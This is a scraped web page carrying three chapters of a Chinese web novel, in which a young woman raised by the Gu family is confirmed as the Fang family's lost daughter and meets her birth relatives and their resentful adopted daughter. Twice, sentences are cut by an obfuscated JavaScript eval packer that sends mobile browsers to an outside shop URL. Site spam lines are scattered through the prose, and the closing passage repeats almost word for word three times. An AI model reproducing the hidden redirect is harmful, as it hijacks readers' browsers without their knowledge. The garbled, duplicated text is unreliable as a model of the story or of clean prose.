方母身边坐着的一个男人立刻皱起眉头。 那人年纪大概二十五六岁，五官和方母有几分相似，神情却比方晓沉稳得多。 他明显对这个称呼有些不满，可还是忍住没有开口，只是下意识往门外看了一眼。 言昭没有进来，而是去洗漱了。 方母也收回目光，她看了一眼桌子上的文件袋，伸手把资料拿了过来。 纸张翻开的声音在屋子里显得格外清楚。 第一页是检测报告。 上面密密麻麻都是英文。 方母看了两行，手指就停住了。 旁边的方程忍不住往前凑了一点，声音发紧：“写的什么？” 方母没有立刻回答。 她继续往下看。 等翻到最后一页的时候，她的手明显抖了一下。 第106章 一家子大戏 那一行数字写得清清楚楚—— 血缘关系概率：99.99%。 屋子里一瞬间安静下来。 方母的眼睛几乎是在一瞬间亮起来整个人像是被什么击中了一样眼眶一下就红了。 她盯着那行字看了好几秒。 生怕自己看错了又重新看了一遍。 紧接着方母忍不住哭了出来声音都带着颤：“真的是……真的是我的小囡囡……我的女儿！” 方母说话的时候手指还在抖眼泪已经顺着脸往下掉。 她这一个月一直在怀疑、在期盼甚至不敢真的相信。 旁边的方程立刻把报告拿过去看。 他也慢慢抬起头声音里也带着明显的震动：“真的是……妹妹？真的是妹妹！” 方母已经哭得停不下来她一边抹眼泪一边说：“我就说……我第一眼看到她的时候就觉得是我女儿……那就是我的女儿啊……” 顾煜坐在对面一直没有说话。 过了一会他才慢慢开口：“报告你们已经看完了现在可以说说你们那个养女的事情了。你家这个养女三番两次找我昭昭的麻烦是为什么？” 屋子里的气氛一下子沉了下来。 方母刚刚那种失而复得的激动还没完全退下去她下意识握紧了手里的报告声音还有点发颤：“顾教授你放心晓晓她……她只是被我们惯坏了她不知道事情的情况我们一定会管好她。” 顾煜没有立刻回应只是静静看着他们。 屋子里安静了几秒。 忽然他笑了一下。 那笑意很浅像是礼貌又没带什么温度。 顾煜慢慢往椅背上一靠 这句话一落。 方程脸色瞬间变了。 他本来还在压着情绪现在听见这句话直接忍不住开口：“妹妹要认不认关你什么事！” 顾煜没有生气。 他只是慢慢歪了一下脑袋看着方程语气甚至带着一点轻轻的疑惑：“她是我的爱人我的妻子我两个孩子的母亲你说关不关我的事？” 方程被他说得一噎。 他当然知道这些事情。 这一个月他们查了很多关于言昭的资料。 可越知道心里的火反而越压不住。 方程的脸色越来越难 听说看这本书的人都是很幸运的，分享后你的运气会更棒 看。 他忽然冷笑了一声：“爱人？妻子？那不是你们顾家强行让我妹妹做你家的童养媳吗？我妹妹才双十年华！就被你家绑着做这种肮脏事！” 方母也被吓了一跳，连忙想开口：“方程——” 另一边言昭其实早就洗漱好了。 她本来在院子里站了一会，心里有点紧张，脚步一直没往待客厅那边挪。 现在她站在门口磨磨蹭蹭。 一会儿看看院子里的树，一会儿又往屋子那边看一眼。 可就在她犹豫的时候，屋子里忽然传出说话声，而且声音明显有点大。 言昭愣了一下。 她听不清具体在说什么，只隐约听见几句情绪明显的话。 她心里立刻咯噔了一下。 难道方家的人在欺负顾煜？ 言昭几乎是想都没想，直接推门走了进去。 门一打开，屋子里的声音瞬间停住。 刚才还紧绷着的气氛一下子安静下来。 几个人同时看向门口。 言昭站在那里，整个人明显还有点紧张，她的目光先落在顾煜身上，确认他没什么事之后，才慢慢看向屋子里的其他人。 方母的眼睛是红的。 明显刚哭过。 旁边坐着的那个年轻男人则一直盯着她，目光几乎没有移开。 言昭被看得有点不自在。 她下意识往前走了两步，然后直接走到顾煜身边。 没有多想。 她伸手就抓住了顾煜的手。 抓得很紧。 顾煜原本还靠在椅子上，神情有些冷淡，可在她握住自己手的那一瞬间，他的手指轻轻动了一下。 然后慢慢回握住她。 言昭这才知道，关于自己和方家的关系，顾煜已经帮她说过了。 她瞬间更紧张了，一时间不知道该怎么办。 自己要说什么？ 要不要叫人？ 言昭目光忍不住落在方母身上，对方眼睛通红，还在看着她，眼神里那种情绪几乎藏不住。 她心里一阵发紧。 要直接喊妈妈吗？ 可这个称呼卡在喉咙里，她怎么都说不出来。 旁边那个年轻男人也一直盯着她看。 他的五官，言昭越看越觉得眼熟。 难道…… 这是哥哥？ 她脑子里飞快地转着这些念头，人是一句话都没说出来。 就在这时候，顾 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 煜开口了。 他依旧坐在那里语气平静得像是在说一件很普通的事情：“你们家那个养女总是欺负我家昭昭。 昨天她在饭店闹事现在人在警察局 方程咬着牙这家伙明显就是故意在自己妹妹面前说这些。 而方母从言昭进门开始目光就没有离开过她。 刚才隔着桌子看还好现在离得这么近她看得更清楚了。 那张脸。 眉眼、轮廓、神情。 越看越像。 方母的眼眶一下子又红了。 她张了张嘴像是有很多话想说可真正到这一刻却一句都说不出来。 她只是看着言昭。 看得很久。 言昭原本还站在顾煜身边手抓着他的手。 她能感觉到那道目光一直落在自己身上她其实很不习惯被人这样看可这一次她没有躲。 她微微侧了一下头。 过了几秒她到底还是抬起头和方母对视。 两个人的视线就这么碰在一起。 下一秒言昭就看见方母的眼泪掉了下来听见她声音发颤：“囡囡……” 言昭站在那里一时间不知道该说什么。 顾煜在这时候轻轻握紧了她的手。 言昭沉默了一会还是慢慢开口：“我从小都是在顾家长大的顾煜是我丈夫我跟你们是家人这件事也是他帮忙做检查才知道的。” 她说到这里停了一下在心里面重新整理了一下自己的话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾煜却像是完全不在意这种气氛，他侧头看了一眼屋子里还站着的那两位警察。 那两个人刚才几乎全程在旁边听着。 一开始他们只是过来处理方晓闹事的事情，结果一不小心就听了一整出认亲的大戏。 现在视线来到自己身上，两个人都有点不太自在。 其中一个警察轻咳了一声。 心里忍不住感叹—— 这一家子的事情也太复杂了。 一个丢了二十多年的女儿突然找回来。 还有一个养女在警察局。 再加上这个京大的年轻教授。 怎么看都不像普通人家的事。 顾煜像什么都没发生一样，对他们点了一下头：“辛苦了。” 警察连忙摆手：“没事没事，我们也是按流程过来确认一下情况。” 顾煜语气很平静：“那方晓的事情，就按你们的程序处理，谢谢。” 方程对方晓还是有点兄妹之情，忍不住问：“是放她出来吧？” 第107章 装逼？顾煜更装逼 方程话刚说完，言昭的目光也看了过来。 他几乎是条件反射地有点心虚。 可方晓到底在家里当了他好几年的妹妹，他也是当亲妹妹一样宠着长大的，到底还是忍不住护着一点。 现在被亲妹妹这样看着，他忽然有点后悔自己刚才嘴快。 顾煜微微一笑，看着对面的人，语气不紧不慢：“你们想怎么样就怎么样，我跟昭昭现在要回另一个家了。” 他说完，手轻轻握着言昭的手，再把这些人送到院门口。 那几个人刚走出院子，就看见胡同里停着一辆黑色的小汽车。 车子擦得很干净，在狭窄的胡同里显得格外扎眼。 如今这年头，普通人家能有一辆自行车都算体面，更别提小汽车了。 方程先看了一眼那辆车，又把目光落回顾煜身上，说了一句：“我们送你回去吧，省得走路。” 顾煜听见这话，唇角轻轻弯了一下。 “不用，只不过你们能不能先把车开走？我的车子进不来了。” 他说完抬手示意了一下胡同口。 几个人顺着他的方向看过去。 胡同口那也停了一辆车。 那车子一看就不是普通人能开的车，看起来明显比方家这辆还要好一些。 方程站在原地，脸上多少有点尴尬。 顾煜牵着言昭往胡同口那辆车走去，车门打开，两人很快上了车，车子启动之后离开了胡同。 胡同里一下子又恢复了安静。 方程这才慢慢收回视线，他看了一眼紧闭的院门，又看向旁边的母亲，忍不住开口：“妈，这个妹夫……不是说几代贫民吗？不是说他只是一个教授吗？还是国内的教授很赚钱？” 方母对这些倒是一点都不在意，现在脑子里全是言昭是自己女儿这件事。 “先回家，这件事要跟你爸爸还有奶奶说。” 方程点了点头，可他刚要上车，又忽然想起什么，伸手拉住了母亲：“那妹妹怎么办？” 方母愣了一下。 她一时间没反应过来。 “哪个妹妹？” 方程看着她。 方母这才想起来。 “晓晓。” 方母轻轻叹了一口气。 “对……晓晓还在警察局。” 方母沉默了一会，说：“先去把她接回家，她是个好孩子，我们慢慢跟她讲。” …… 言昭回到家里的时候，院子 你的朋友正在书荒，快去帮帮他吧 里已经很热闹了。 两个孩子正坐在院子里那种带轮子的学步车里小脚一蹬一蹬地往前滑。 学步车在地上慢慢转着圈孩子咿咿呀呀地叫着偶尔撞到椅子腿又被自己吓得笑起来。 院子里还坐着几个女人都是这个小区里的阿姨。 她们的丈夫基本都在顾煜单位工作只不过年纪普遍大一些像顾煜这样年轻的在整个单位里也就这么一个。 院子里摆着几张小板凳几个人一边看孩子一边闲聊。 言昭一进院子就有人抬头看见了她。 “哎哟回来了呀。” “我还以为你们要不在这住了呢。” 言昭笑了一下走过去坐在院子里的凳子上轻轻摇了摇头：“没有没有就是出去了一趟。” 一个阿姨立刻接话：“我就说嘛外面哪有这里住得方便。” 旁边的人也跟着点头：“可不是这里多好出门就是车单位离得又近。” 说话的人又抬手指了指院子角落里的水龙头：“现在家家户户都装了水龙头拧开就能用水还不用再跑出去打水了。” 另一个人笑着接话：“以前住别的地方还得提着桶去公共水井排队想想都麻烦。” 言昭听着她们聊天很赞同的点了点头。 为了生下孩子她跑在外面奔波的那十个月确实很不方便。 这时顾煜从屋里走了出来手里端着一个果盘。 盘子里全是苹果是单位那边送过来的。 他把果盘放到院子里的桌子上笑着说了一句：“你们吃点水果。” 几个阿姨一看到他出来立刻就笑了起来。 “哎哟顾教授还给我们端水果。” 顾煜只是笑了笑也没多说什么。 院子里的人其实每次看到顾煜都会忍不住多看几眼。 那张脸实在太好看了眉眼干净气质又温和平时说话也不急不慢。 再看他现在站在言昭身边语气温柔眼神也是软的。 几个阿姨忍不住互相看了一眼心里都忍不住感叹。 谁能想到这么俊的一张脸在媳妇面前这么温柔的人发起脾气来能把人吓得不敢喘气。 她们可都知道顾煜发脾气是什么样子也得到过自家男人的叮嘱要是顾煜出事一定要跟他们讲。 顾煜的脑子现在可是非常重要。 有人笑着打趣了一句：“顾教授你可真是疼媳 你的朋友正在书荒，快去帮帮他吧 妇。 顾煜听见这话，侧头看了一眼言昭，唇角又弯了一点，然后很自然地走到她身后，手搭在她椅背上站着。 …… 另一边，顾煜所在的单位也把言昭的情况彻底查了一遍。 档案一层一层往上翻，连方家的底子也被挖得干干净净。 顾煜的爱人没有问题。 至于方家，资料里已经写得很清楚。 方家在改革前就很富裕，家底厚实，当年还给国家捐过不少钱。 后来被举报，在快要被下放的时候举家离开，直接去了国外。 那几年国内动荡，丢孩子这种事情并不少见，言昭就是在那个时候失散的。 这些年方家在国外做生意，积累了不少资产。 现在国内逐渐开放，华人回国投资的情况越来越多，方家回来发展并不奇怪。 就算有点问题，可有顾煜在。 顾煜在单位眼里已经不是普通科研人员的地位了。 他参与的项目太多，涉及的领域也太广，从电子设备到通信技术，再到材料实验，各种研究方向几乎都有他的名字。 别人一辈子深耕一个方向，他却像是没有边界一样。一个项目刚结束，另一个领域的研究又开始推进。 他的研究数量甚至是普通科研人员的好几倍。 这种人，一旦缺席，很多项目都会直接停摆。 所以国家单位对于顾煜身边的一切格外谨慎。 方家如果以后真的想借着这层关系找顾煜帮忙，只要不过界，他们也不会刻意阻拦。 只不过他们也跟着知道言昭曾经和顾煜哥哥有过一段暧昧关系，而顾煜的哥哥如今就在京市感染医院。 这条信息被标注出来，又很快被压了下去。 这些旧事对现在的顾煜来说，没有任何意义。 方家这边也没有闲着。 既然已经确定言昭就是当年丢失的孩子，他们自然不可能只停在这一点上。 方家又重新把资料查了一下。 一份份资料送到方家人面前，可越看，方家人反而越觉得奇怪。 顾煜的公开身份很简单——京大的教授。 可问题也正出在这里。 一个教授，按理说日子是体面，但绝不至于到这种程度。 四合院。 汽车。 还有他现在住的这个小区。 方家的人亲自过去看过好几次。 那片地方管理得很严，门 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 口有人值守进出车辆都要登记普通人根本进不去。 能住在里面的人大多身份都不简单。 要么是重要科研人员要么就是单位里的核心人物。 难道顾煜真的是个很重要的人物不成？ 但就算是重要人物可谁不知道搞科研钱最少啊？ 方晓被接回家后她把自己关在房间里。 房间里有些昏暗只有桌上的台灯亮着。 她坐在床边手指死死攥着被子指节都发白了。 在警察局待了一整晚按理说被家里接回来应该高兴可她一点都不觉得轻松。 那种憋在胸口的气反而越积越重。 门外时不时传来家里人的说话声。 有佣人走动的脚步声也有客厅里压低的交谈。 那些声音每传进来一次方晓的脸色就更阴沉一分。 方晓知道他们在说什么。 从昨天开始家里所有人的话题都只有一个—— 言昭。 那个突然出现的“亲生女儿”。 妈咪失控的眼泪。 哥哥那种震惊又激动的神情。 甚至连一向最疼她的父亲在听到消息时也是特别高兴。 那一刻方晓第一次清清楚楚地感觉到—— 她不是他们亲生的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338076|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 自己从小在这个家里长大被当成掌上明珠一样养着。 所有人都宠着她顺着她她想要什么都会有人给她。 方晓也一直觉得这个家就是她的。 可现在忽然出现一个人。 一个真正的女儿。 一个本来就属于这个家的女儿。 方晓的眼睛慢慢红了起来里面全是恨意。 嫉妒、愤怒、不甘全都混在一起。 她死死咬着牙脑子里反反复复只有一个念头—— 凭什么。 她在这个家生活了这么多年她才是这个家的人。 凭什么那个女人一出现所有人都激动？ 凭什么她一出现就要把自己的一切抢走。 方晓的手指越收越紧指甲都掐进了掌心。 …… 言昭在家里安安稳稳待了两天。 到第三天的时候顾煜就开始把事情安排起来。 既然血缘已经确认 顾煜给言昭想的办法很简单—— 带着孩子去 听说看这本书的人都是很幸运的，分享后你的运气会更棒 方家吃一顿饭。 有些事情在饭桌上反而最好说清楚。 言昭听完也觉得这个办法不错。 既然迟早要见，那就正大光明地见一面，把该说的话都说清楚。 顾煜当天就直接给方家打了个电话。 电话那头接起来的时候还很正常，等听清顾煜说的话，声音瞬间就变了。 顾煜语气平静，只说了一句—— 他们一家人准备过去吃顿饭。 电话那头沉默了一瞬，紧接着就连声答应。 电话刚挂，方家整栋房子都乱了起来。 方母几乎是立刻站了起来，开始让佣人重新打扫屋子，客厅、楼梯、院子，全都要收拾一遍。 方程更是直接开车出门，去买东西。 水果、点心、各种食材，全都要最好的。 方父原本下午还有一场合作要谈，听见这个消息后连想都没想就推掉了，回到家里开始安排餐厅的布置。 连桌布、餐具都重新换了一套。 整个方家像突然进入战备状态一样。 方老太太更是坐不住了，从自己的房间里拿出一个小盒子，小心翼翼打开，里面是一件保存得很好的古董首饰，是家里留下来的传家宝。 说等会儿孙女来了，这个就送给她。 方母忙着安排家里的事情，又想起了方晓来。 她站在楼梯口看了一眼二楼紧闭的房门，还是走了过去，轻轻敲了敲门。 “晓晓？” 屋里没有一点声音。 方母又敲了两下，声音放得更轻：“晓晓，妈咪跟你说几句话好不好？” 门里面依旧安安静静。 方程也走了过来，在门口站了一会，伸手敲了敲门板：“晓晓，开一下门。” 他说了好几句安抚的话，可房间里始终没有任何回应。 屋子里安静得像没人一样。 方母和方程在门口站了好一会，最后只能互相看了一眼，轻轻叹了口气，暂时离开了。 时间很快就到了第二天中午。 一辆车子缓缓开进胡同，停在方家小洋楼门口。 这栋小洋楼在附近已经算是不错的房子，两层的小楼，院子也收拾得整整齐齐。 可和顾煜那边的房子比起来，还是差了一截。 顾煜那套是真正的别墅，院子更大，格局也更开阔。 方家的人一早就等在门口。 方母、方父、方程，还有老太太，全都站在院子里。 几个人看着车子慢慢停下来，心里都有点紧张。 他们想着言昭带着两个孩子过来，说不定会有点手忙脚乱。 方母甚至已经往前走了一步，准备等会帮忙抱一下孩子。 可车门打开的时候，方母愣住了。 最先下车的不是言昭。 而是两个妇人。 两人一左一右，各自抱着一个孩子，小心翼翼地从车里下来。 孩子被抱得稳稳的，裹着软软的小被子，小脸露在外面。 紧接着，言昭从车里走下来。 顾煜也跟着下了车。 司机最后关上车门，站到一旁。 这么一算，加上两个孩子，一共七个人，阵势特别大。 院子门口一下子显得有点热闹。 第108章 认亲 这条路本来就不安静。 能住在这一片的人家，大多都不普通，小洋楼一栋接一栋，平日里来往的人也不少。 这辆黑色的小汽车缓缓开进来，一下子吸引了不少目光。 有人站在自家院门口张望，有人从窗子里往外看。 车子刚停下，院门口一下子下来这么多人，更是让附近几家人都忍不住多看了几眼。 两个抱着孩子的妇人先下车，紧接着是言昭和顾煜，司机最后关上车门站到一旁。 七个人一下子出现在院子门口，阵势看着就不小。 附近的人很快就开始小声议论。 这附近住的人，大多互相都认识，哪家有什么动静，转眼就能传开。 有人低声问了一句：“方家这是来客人了？” 旁边的人看了一会，忽然压低声音说：“不是客人，是他们家找回来的那个女儿。” 说话的人正好和方家关系稍微熟一点，前两天就听到过一点风声。 旁边的人一听，立刻来了精神。 “就是丢的那个？” “对。” 几个人忍不住多看了两眼。 本来大家都以为，这种丢了这么多年的孩子，就算找回来，多半也是普通人家的日子。 可现在这一看，情况完全不一样。 黑色的小汽车。 再看言昭和顾煜的气质，也不像是普通人家。 有人忍不住感叹了一句。 “这方家运气也太好了。” “女儿丢了这么多年，还能找回来，而且看这架势……日子过得比他们还好。” 言昭带着顾煜和孩子一起进了院子。 方母一看到孩子，脸上的笑意几乎压不住，她下意识就往前走了一步，想把孩子接过来抱一下。 两个抱着孩子的阿姨很礼貌地侧了一下身。 “孩子有点怕生，我们抱着就好。” 方母愣了一下，也没有再坚持。 方母这才知道，这两位是言昭家的保姆阿姨，旁边站着的中年男人则是司机。 方父站在一旁，目光在那个司机身上停了一下。 那男人站姿很直，眼神平静，整个人显得格外沉稳。 这种气质不像普通司机，反而有点像练家子。 方家一家人把人迎进房子。 然后鞭炮在外面炸开，声音在院子里回荡得很响。 因为方母提前交代过，两个阿姨便捂着孩子们的耳朵 。 只不过小儿子还是被这声音一吓，小脸一皱，立刻哇地哭了出来。 阿姨赶紧轻轻拍着他哄。 另一边抱着女儿的阿姨也低头看了一眼。 小姑娘却没有被吓到，睁着一双大眼睛，嘴里还咿呀咿呀地叫着，反而像是在看热闹。 在儿子不哭了后，一家子被请到客厅坐下，面前的桌子上已经摆好了东西。 一碗碗热腾腾的红糖水在桌上，每一碗里面还窝了三个鸡蛋。 桌子旁边还摆着一摞照片。 照片已经有些年头了，边角微微发黄。 顾煜看见了，他伸手把照片拿了起来。 一张一张慢慢翻。 他认得上面的人，全是言昭小时候的样子。 跟小时候在顾家穿得朴素不一样，照片里的小姑娘穿着绸缎的小裙子，衣服精致，头发扎得整整齐齐。 每一张照片里，小姑娘都笑得很开心，脸颊圆圆的，眼睛弯弯。 有人抱着她拍照。 也有她一个人站在院子里。 还有一张，她被老太太抱在怀里，小手抓着一串糖葫芦，笑得整张脸都亮了。 顾煜看到这些笑容，他手指停了一下，又继续慢慢翻着。 照片里的孩子过得很好。 言昭看顾煜翻照片看得那么认真，她也忍不住凑过去。 她在看到这些照片的时候，脑子里像有什么东西忽然被掀开了一样。 一些零碎的画面猛地涌出来。 院子、石桌、有人抱着她转圈，还有一个满头白发的老太太笑着逗她。 那些记忆本来像是被尘封住了一样，现在突然一点一点浮上来。 言昭整个人愣在那里。 她脸上的表情一下子变得有些呆滞，眼睛盯着那些照片。 顾煜已经把照片看完，慢慢放回桌子上。 他刚抬头，就发现言昭的神情不太对。 顾煜伸手握住她的手，轻轻捏了一下。 那点触感把言昭从那种恍惚里拉了回来。 她慢慢回过神，脑子里那些画面虽然零碎，可自己确实想起了一点。 言昭抬起头。 客厅里几个人都没说话。 方母眼眶发红，方父坐在一旁紧张地看着她，方程也一动不动。 言昭的目光最后落在了方老太太身上。 她看着那张苍老的脸。 脑子里忽然又闪过一个画面。 有人 抱着她，声音慈祥，一直喊她小囡囡。 言昭的声音轻轻的。 软软的，带着一点迟疑。 “奶奶。” 这一声刚落下。 方老太太本来就红着眼眶，现在更是一下子忍不住开始掉眼泪， 声音都发颤了：“小囡囡，你是不是……还记得奶奶吗？” 言昭点了点头。 她的声音还有点轻。 “我刚刚看照片……想起来了一点事情。” 屋里几个人几乎同时看向她。 言昭慢慢说着，像是在一点点把那些零碎的记忆拼起来。 “我记得……我小时候住在一个很大的房子里。” 她说到这里停了一下。 脑子里的画面越来越清晰。 “院子里有一个葡萄架，奶奶总喜欢在葡萄架下面哄我睡觉。” 说到这里，言昭的眼睛也慢慢红了。 那些记忆像是一下子全回来了。 她记得有人轻轻拍着她的背，嘴里哼着歌。 记得阳光透过葡萄叶子落在脸上。 也记得那双一直抱着她的手。 言昭的声音也忍不住哽住了。 方老太太再也忍不住了，猛地站起来，一把把言昭抱进怀里。 那双手用力得有些发抖。 老人家抱着她，眼泪一下子就掉了下来，“是我的小囡囡，我的小囡囡回来了。” 言昭也因为想起了一些小时候的事情，刚才那种生疏的拘谨慢慢淡了。 客厅里的气氛一下子暖了许多。 顾煜始终没有说话。 他就坐在言昭身边，安安静静地看着这一切，手指轻轻搭在桌沿。 只是某一刻，他忽然察觉到一点不对。 像是有一道视线一直落在这边。 顾煜的目光慢慢抬起。 几乎没有停顿，他就找到了来源。 楼梯通往二楼的拐角处，有一块被墙挡住的阴影。 那阴影里站着一个人，一双眼睛正死死盯着客厅。 眼神里没有半点温度，只有浓得化不开的怨恨。 顾煜的视线和那双眼睛正好对上。 对方明显没想到会被发现，眼神僵了一下，下一刻猛地往后退，人影很快消失在楼梯拐角。 顾煜慢慢收回目光，唇角勾起一点泛冷的弧度。 言昭和这一家人慢慢说起彼此这些年的情况。 父亲经营了一个公 司，而这个公司一直在国外经营，只不过这几年国内环境变化很大，生意已经开始慢慢往国内转。 哥哥方程在国外读大学刚毕业没多久，原本在国外工作，现在也被父亲叫回来帮忙。 母亲这些年自己做了一个服装品牌，在国外也算小有名气，现在准备把店开回国内。 母亲也已经在京市的商场租好了一个门面，只是还没正式开张。 至于奶奶，这些年一直在家里。 只是为了找失散的她，奶奶后来开始信佛，经常去寺里烧香。 等到轮到言昭说自己的事情，她也没有隐瞒。 从小时候被顾家捡回去，到后来在乡下长大，再到顾煜读书离开家，她一直跟着生活在顾家。 这些事情说得很平静。 可方家的人听着，心里却越来越难受。 女儿这些年过的日子和他们完全不同。 如果不是顾煜后来考进京大，把她带出来，她很可能还一直留在乡下。 更让他们难受的，是言昭已经生了两个孩子。 在国内二十多岁结婚生孩子并不算早，可对这些年一直生活在国外的方家人来说，她还只是个刚找回来的孩子。 他们甚至还没来得及好好陪她。 结果她已经结婚，还当了母亲。 方母听着这些事情，眼眶一直红着。 方父也沉默了很久。 老太太还在擦眼睛。 如果当年没有丢掉这个孩子，孩子的人生可能完全不一样。 越是这样想，方家人就越觉得愧疚。 言昭倒没觉得自己这些年过得不好。 对她来说，真正不好的日子是上辈子，这辈子重新把路走了一遍，自己已经觉得很满足了。 有顾煜，有孩子，现在还有了亲人。 言昭觉得自己的日子一直都像泡在蜜罐子里。 言昭说着说着，忽然想起什么，转头让两个阿姨把孩子抱过来。 小被子掀开一点，两个小人露出脸来。 方家的人几乎是同时围了过来。 老太太年纪大了，是最先凑近的那个。 老太太低头看着阿姨怀里言昭的小儿子，脸上满是笑意，忍不住伸手轻轻碰了碰孩子的小脸。 “这娃娃真像你小时候。” 老太太越看越喜欢，又抬头问了一句：“是双胞胎吗？两个闺女吗？” 言昭被问得有点尴尬。 她家这个儿子因为长得太秀 气，红唇齿白的，从小就经常被人认成小姑娘。 她赶紧解释：“奶奶，不是双胞胎，这个是我儿子。”然后又指向另一个在阿姨怀里不停挥手蹬腿的小家伙。 “那个是我女儿。” 方家几个人一时间都愣了一下。 他们刚刚一直以为两个都是女娃娃。 尤其是那个被说成儿子的，小脸白白净净，眼睛又大又亮，眉眼精致得过分。 安安静静被抱着的时候，看着就像个漂亮的小姑娘。 其实另一个女儿长得更好看，虽然现在年纪还小，可那张脸的轮廓已经很清楚了，像足了顾煜。 明眼人都知道，女娃娃再长开一点，肯定是个特别漂亮的大美人！ 那就是说昭昭生了个龙凤胎！ 方家人脸上顿时露出笑容，尤其是方母，拉着言昭的手不撒手，说：“咱们家有这个基因，你姑姑在香港也生了一对双胞胎，等以后我带你去那边玩。” 言昭笑着点头，又像是忽然想起什么，语气自然地问了一句。 “那方晓是我妹妹还是姐姐？” 这话一出来，客厅里的气氛一下子变了。 方家几个人的脸色几乎同时僵了一下。 方母的表情最明显，她本来还带着笑，这会儿一下子有些不知所措，嘴唇动了动又没说出什么。 方父轻轻叹了一口气。 方程低着头，看着桌面，也没有开口。 几个人的反应都落在言昭眼里。 方老太太冷着脸开口了：“囡囡，她不是你的姐妹，只是你妈当年捡回来的一个孤儿而已。” 方母被老太太这句话弄得有些不安。 她看着言昭，连忙解释起来。 “当时你丢了，我们到处找。后来有人说在孤儿院看到过一个孩子，很像你，我就过去找。” “就是那时候……看见了晓晓。” 方母说到这里，语气慢慢低了下来。 “她那时候很小，一个人在那里，也很可怜。我想着……照顾她，也算是做好事。” 言昭听完笑了笑。 她脸上的表情很平和，没有一点介意的样子。 “母亲，我不在的时候，能有人替我陪着你们，也挺好的。” 言昭的话刚落下，楼梯那边忽然传来脚步声。 “噔噔噔”几下。 方晓从楼上走了下来。 她明显是匆匆整理过的样子，头发梳得整整齐齐，脸上带着一个努力撑出来的笑容。 那笑容看着甜，却有点紧。 方晓在楼梯口停了一下，深吸了一口气，才继续往下走。 “妈咪！” 她走到方母身边，一下子挽住了她的胳膊。 方母被她这一声喊得愣了一下，很快又回过神来，伸手拍了拍她的手。 “晓晓，以后昭昭是你姐姐，你们要好好相处。” 方晓脸上的笑容瞬间僵了一下。 那一瞬间很短，但还是能看出来她的表情有点绷。 不过她很快又恢复过来，重新露出一个甜甜的笑容。 她转头看向言昭。 “原来是姐姐。”她语气轻快得有点刻意：“上次的事情真的很抱歉，早知道你是我姐姐，那个胸针就直接送给你啦，反正也没多少钱。” 这句话听起来像是在道歉。 可那语气里带着一点说不清的别扭。 气，红唇齿白的，从小就经常被人认成小姑娘。 她赶紧解释：“奶奶，不是双胞胎，这个是我儿子。”然后又指向另一个在阿姨怀里不停挥手蹬腿的小家伙。 “那个是我女儿。” 方家几个人一时间都愣了一下。 他们刚刚一直以为两个都是女娃娃。 尤其是那个被说成儿子的，小脸白白净净，眼睛又大又亮，眉眼精致得过分。 安安静静被抱着的时候，看着就像个漂亮的小姑娘。 其实另一个女儿长得更好看，虽然现在年纪还小，可那张脸的轮廓已经很清楚了，像足了顾煜。 明眼人都知道，女娃娃再长开一点，肯定是个特别漂亮的大美人！ 那就是说昭昭生了个龙凤胎！ 方家人脸上顿时露出笑容，尤其是方母，拉着言昭的手不撒手，说：“咱们家有这个基因，你姑姑在香港也生了一对双胞胎，等以后我带你去那边玩。” 言昭笑着点头，又像是忽然想起什么，语气自然地问了一句。 “那方晓是我妹妹还是姐姐？” 这话一出来，客厅里的气氛一下子变了。 方家几个人的脸色几乎同时僵了一下。 方母的表情最明显，她本来还带着笑，这会儿一下子有些不知所措，嘴唇动了动又没说出什么。 方父轻轻叹了一口气。 方程低着头，看着桌面，也没有开口。 几个人的反应都落在言昭眼里。 方老太太冷着脸开口了：“囡囡，她不是你的姐妹，只是你妈当年捡回来的一个孤儿而已。” 方母被老太太这句话弄得有些不安。 她看着言昭，连忙解释起来。 “当时你丢了，我们到处找。后来有人说在孤儿院看到过一个孩子，很像你，我就过去找。” “就是那时候……看见了晓晓。” 方母说到这里，语气慢慢低了下来。 “她那时候很小，一个人在那里，也很可怜。我想着……照顾她，也算是做好事。” 言昭听完笑了笑。 她脸上的表情很平和，没有一点介意的样子。 “母亲，我不在的时候，能有人替我陪着你们，也挺好的。” 言昭的话刚落下，楼梯那边忽然传来脚步声。 “噔噔噔”几下。 方晓从楼上走了下来。 她明显是匆匆整理过的样子，头发梳得整整齐齐，脸上带着一个努力撑出来的笑容。 那笑容看着甜，却有点紧。 方晓在楼梯口停了一下，深吸了一口气，才继续往下走。 “妈咪！” 她走到方母身边，一下子挽住了她的胳膊。 方母被她这一声喊得愣了一下，很快又回过神来，伸手拍了拍她的手。 “晓晓，以后昭昭是你姐姐，你们要好好相处。” 方晓脸上的笑容瞬间僵了一下。 那一瞬间很短，但还是能看出来她的表情有点绷。 不过她很快又恢复过来，重新露出一个甜甜的笑容。 她转头看向言昭。 “原来是姐姐。”她语气轻快得有点刻意：“上次的事情真的很抱歉，早知道你是我姐姐，那个胸针就直接送给你啦，反正也没多少钱。” 这句话听起来像是在道歉。 可那语气里带着一点说不清的别扭。 气，红唇齿白的，从小就经常被人认成小姑娘。 她赶紧解释：“奶奶，不是双胞胎，这个是我儿子。”然后又指向另一个在阿姨怀里不停挥手蹬腿的小家伙。 “那个是我女儿。” 方家几个人一时间都愣了一下。 他们刚刚一直以为两个都是女娃娃。 尤其是那个被说成儿子的，小脸白白净净，眼睛又大又亮，眉眼精致得过分。 安安静静被抱着的时候，看着就像个漂亮的小姑娘。 其实另一个女儿长得更好看，虽然现在年纪还小，可那张脸的轮廓已经很清楚了，像足了顾煜。 明眼人都知道，女娃娃再长开一点，肯定是个特别漂亮的大美人！ 那就是说昭昭生了个龙凤胎！ 